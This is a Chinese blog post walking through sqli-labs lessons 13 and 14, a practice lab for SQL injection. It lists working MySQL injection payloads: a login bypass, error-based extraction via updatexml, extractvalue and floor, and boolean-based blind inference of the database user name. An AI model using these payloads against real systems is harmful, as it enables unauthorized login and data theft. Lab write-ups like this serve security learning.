sql-labs第十三题,十四题

第十三题

1 查找注入漏洞

1.1 输入单引号触发错误

从错误信息判断,提交的参数需要闭合单引号和括号

1.2 构造payload,验证注入漏洞

提交如下内容
') or 1=1#
成功登录

2 漏洞利用

2.1 MYSQL显错式注入

关于 MySQL显错注入

  1. 通过updatexml函数,执行SQL语句
    payload:') and updatexml(1,(concat(0x7c,(select @@VERSION))),1)#

  2. 通过extractvalue函数,执行SQL语句
    payload:') and extractvalue(1,concat(0x7c,(select user())))#

  3. 通过floor函数,执行SQL语句
    payload:') union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b#

  4. 通过group by重复键冲突显错
    payload:') union select concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a#

2.2 使用条件语句推断数据

根据登录状态推断数据
因为当注入 ') or 1=2# 会登录失败,而注入 ') or 1=1# 会登录成功。那么就可以构造条件语句来判断推断的信息是否正确。
eg:推断当前用户名
首先使用length函数推断用户名的长度
payload:') or length(user())=14#
长度正确时登录成功

然后逐字符推断用户名
payload:') or substr(user(),1,1)='r'#
推断当前用户名的第一个字符是不是'r'如果是则能成功登录,如果不是则登录失败。

修改参数推断第二个字符 ') or substr(user(),2,1)='x'#
。。。直到获得完整用户名。

第十四题

与十三题类似,单引号换为双引号,无需闭合括号。

posted @ 2020-08-19 20:51  爱十三的柒  阅读(275)  评论(0编辑  收藏  举报